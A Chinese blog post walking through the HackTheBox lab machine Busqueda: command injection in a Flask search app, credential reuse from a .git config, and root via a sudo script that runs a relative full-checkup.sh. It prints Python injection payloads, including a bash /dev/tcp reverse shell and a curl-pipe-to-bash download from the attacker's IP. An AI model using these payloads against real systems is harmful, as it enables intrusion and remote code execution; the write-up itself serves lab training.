首页 > 其他分享 >HTB靶场之Busqueda

HTB靶场之Busqueda

时间:2023-05-18 09:12:00浏览次数:54  
标签:Busqueda __ sbin HTB nologin var usr bin 靶场

准备:

攻击机:虚拟机kali和win10(常规操作就直接用本机win10来操作了)。

靶机:Inject,htb网站:https://www.hackthebox.com/,靶机地址:https://app.hackthebox.com/machines/Busqueda。

知识点:命令执行、敏感信息发现。

备注:这个说难也难说简单也是很简单,如果要通过命令执行来进行shell反弹可能会有点难度,但是如果通过发现的密码直接去登录就是比较简单的。

一:信息收集

1.nmap扫描

使用nmap扫描下几个常见的端口和对应的服务信息,显示开放了22端口、80端口,开启了ssh服务、http服务。

2.dns解析

访问80端口的web服务时直接跳转到了:http://searcher.htb/,因此需要进行dns解析,win:打开C:\Windows\System32\drivers\etc\hosts文件,kali:打开/etc/hosts文件,添加:10.10.11.208 searcher.htb。

二:信息利用

1.bp抓包

随便进行一个搜索并抓取数据包,然后修改参数1为1'时,返回的信息发生变化,那这里有可能存在注入,但是经过后续测试发现不是sql注入。

2.命令执行

后面在首页发现一个执行github的连接,https://github.com/ArjunSharda/Searchor,在该链接中找到了思路。

该搜索也是直接将我们输入的字符串直接进行了拼接,例如:Engine.Google.search("Hello, World!")。整理下思路并在python中进行测试,发现当传递的参数为:1'+print('1')+'时会将print中的字符串进行输出,说明进行了命令执行。

#我们先是传入了一个值给参数query
query = '1'
#然后将我们的参数带入到下面并进行返回
Engine.Google.search(query)
#所以在我们传输1'的时候会进行报错,传入1''的时候又会恢复正常

然后依据格式修改语句在本地进行命令执行,将语句修改为:1'+__import__("os").system("calc.exe")+',成功打开计算器。

然后在抓取的数据包中进行测试,将输入的数据修改为:1'+print('234')+',但是并未执行print语句。后面对+进行了编码后:1'%2bprint('234')%2b',print命令可以正常执行。

3.shell反弹

确定了命令执行的语句格式:1'+__import__("os").system("calc.exe")+',那我们就进行shell反弹,语句:1'%2b__import__("os").system("bash -i >&/dev/tcp/10.10.14.50/6688 0>&1")%2b',但是并未成功反弹shell。使用base64加密同样不行。编码也试了不行。不过确实是可以进行命令执行的,例如获取id:1'%2bprint(__import__('os').system("id"))%2b',不过这里发现了用户名:svc。

无法反弹shell,那就先查看下是否存在别的可以利用的信息,传递参数:1'%2bprint(__import__('os').system("ls -al"))%2b',发现app.py文件,读取该文件信息:1'%2bprint(__import__('os').system("cat app.py"))%2b',获得app.py内容,但是并没有获取到什么有用的信息。

app.py内容
from flask import Flask, render_template, request, redirect
from searchor import Engine
import subprocess

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html', options=Engine.__members__, error='')

@app.route('/search', methods=['POST'])
def search():
    try:
        engine = request.form.get('engine')
        query = request.form.get('query')
        auto_redirect = request.form.get('auto_redirect')
        
        if engine in Engine.__members__.keys():
            arg_list = ['searchor', 'search', engine, query]
            r = subprocess.run(arg_list, capture_output=True)
            url = r.stdout.strip().decode()
            if auto_redirect is not None:
                return redirect(url, code=302)
            else:
                return url

        else:
            return render_template('index.html', options=Engine.__members__, error="Invalid engine!")

    except Exception as e:
        print(e)
        return render_template('index.html', options=Engine.__members__, error="Something went wrong!")

if __name__ == '__main__':
    app.run(debug=False)

 继续读取.git目录下的内容,在config文件中发现:http://cody:[email protected]/cody/Searcher_site.git,发现cody:jh1usoih2bkjaspwe92像是一组账户名,gitea.searcher.htb应该是一个子域名,但是/etc/passwd文件中显示不存在cody账户,存在svn账户,因此使用svc/jh1usoih2bkjaspwe92进行ssh连接,命令:ssh [email protected],成功获得shell权限。

/etc/passwd
 root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
svc:x:1000:1000:svc:/home/svc:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

后面又想到上面既然有命令执行的漏洞了,没道理反弹不了shell啊,就在网上查找资料发现了subprocess函数,我们可以利用如下格式:eval(complie(“要执行的代码”),“<String>”,“exec”)进行shell反弹,exp:1'%2beval(compile('for+x+in+range(1)%3a\n+import+os\n+os.system("curl http://10.10.14.50:8000/bash.sh | bash ")','a','single'))%2b',成功获得shell权限。

三:提权

查看下当前账户是否存在可以使用的特权命令,sudo -l,发现存在(root) /usr/bin/python3 /opt/scripts/system-checkup.py *。

查看system-checkup.py文件,显示我们缺少相关的查看权限,那就执行下命令,看有什么提示。

在执行第三个命令:sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup,的时候告诉我们存在一些错误(因为开始我忘记了切换目录)而并不是权限问题导致无法执行。

报错之后就切换到/opt/scripts目录,发现full-checkup.sh脚本,重新执行上面的命令,发现正常执行,那这里就想到他是调用了full-checkup.sh脚本。

在执行sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup时他调用的是执行目录下的full-checkup.sh,因此我们就可以在/tmp目录下创建一个full-checkup.sh文件来写入提权命令:chmod +s /bin/bash。这里使用的是wget上传到靶机,然后赋予执行权限(注意下该文件会被删除,如果被删除就重新上传),然后执行:sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup成功获得root权限。

获得root权限后在/root目录和/home/svc目录下分别读取下root.txt、user.txt文件,成功获得两个flag值。

标签:Busqueda,__,sbin,HTB,nologin,var,usr,bin,靶场
From: https://www.cnblogs.com/upfine/p/17408873.html

相关文章

  • w1r3s靶场流程
    w1r3s靶场实验环境w1r3s靶场:192.168.134.139kali:192.168.134.135信息收集利用nmap进行主机发现nmap-sn192.168.134.0/24利用nmap扫描全部的端口nmap--min-rate10000-p-192.168.134.139#–min-rate,用来指定Nmap每秒钟发送的数据包数量最小是10000#-p-,“-p"参数......
  • ATK&CK红队评估实战靶场(一)的搭建和模拟攻击过程全过程
    *ATK&CK红队评估实战靶场(一)的搭建和模拟攻击过程全过程*目录ATK&CK红队评估实战靶场(一)的搭建和模拟攻击过程全过程 0x01前言 0x02环境搭建 0x03WEB攻击 0x04内网信息收集 *0x01**前言*本靶机环境本靶机环境是红日团队开源的一个红队实战测试环境,靶机下载地址如下:http:/......
  • HTB靶场之-inject
    准备:攻击机:虚拟机kali。靶机:Inject,htb网站:https://www.hackthebox.com/,靶机地址:https://app.hackthebox.com/machines/Inject。知识点:ansible提权(非漏洞提权)、本地文件包含漏洞、CVE-2022-22963、敏感信息发现。一:信息收集1.nmap扫描使用nmap扫描下端口对应的服务:nmap-T4-......
  • HTB ACADEMY-Web Fuzzing WRITE UP
    准备工作基本信息操作对象:VmwareStation(Kali-Linux)目标实例对象:178.128.46.49:30893/academy.htb安装单词列表(WordList),例如GithubSecLists,本次需要的单词列表文件如下:文件名用途/opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt......
  • Lampiao靶场
    Lampiao渗透流程靶机下载地址主机发现使用netdiscover进行被动扫描netdiscover-ieth0-r10.10.10.0/24使用nmap进行主动扫描nmap-sS10.10.10.0/24对目标主机对主机进行端口扫描#全端口扫描nmap-p-10.10.10.136查看目标主机的服务版本和操作系......
  • sqli 靶场通关(持续更新)
    第一关:Less-1 GET-Errorbased-Singlequotes-String(基于错误的GET单引号字符型注入)手工union联合查询注入一:判断注入类型url=http://127.0.0.2/Less-1/?id=1'看回显的报错信息这里说: '1''LIMIT0,1  这里的1被单引号包裹说明这里是字符型然后 ' 引号闭合......
  • xss-labs靶场
    在线XSS-labs靶场:https://xssaq.com/yx/靶场搭建靶场是直接使用docker搭建的dockerpullvulfocus/xss-labs启动靶场dockerrun-p8005:80vulfocus/xss-labs浏览器访问IP+8005windows搭建使用phpstudy_pro搭建下载地址:https://github.com/do0dl3/xss-labs解压文件......
  • 文件上传漏洞靶场:upload-labs(附在线地址)
    重装系统:CentOS7.6密钥对验证,或密码验证,根据自身情况选择,博主这边为了ssh连接方便选用的密码校验。WindTerm登录系统需提前去云服务器的安全组,开放22端口ssh连接。更新软件yumupdateyumupgradeyum升级这两个命令之间有很小的区别。yumupdate将更新您系统上的软件包,......
  • vulnhub靶场之ADROIT: 1.0.1
    准备:攻击机:虚拟机kali、本机win10。靶机:Adroit:1.0.1,下载地址:https://download.vulnhub.com/adroit/Adroit-v1.0.1.ova,下载后直接vbox打开即可。知识点:shell反弹(jar)、sql注入、简单的代码编写、逆向、dns解析。这个靶场比较推荐,因为之前做的大都是python、php的,这种java类的......
  • vulstack2 靶场做题笔记
    环境配置DCIP:10.10.10.10OS:Windows2012WEB默认初始密码登陆不进去,利用de1ay/1qaz@WSX登陆IP1:10.10.10.80IP2:192.168.111.80OS:Windows2008pcIP1:10.10.10.201IP2:192.168.111.201OS:Windows7攻击机kaliip:192.168.111.130内网网段:10.10.10.0/24......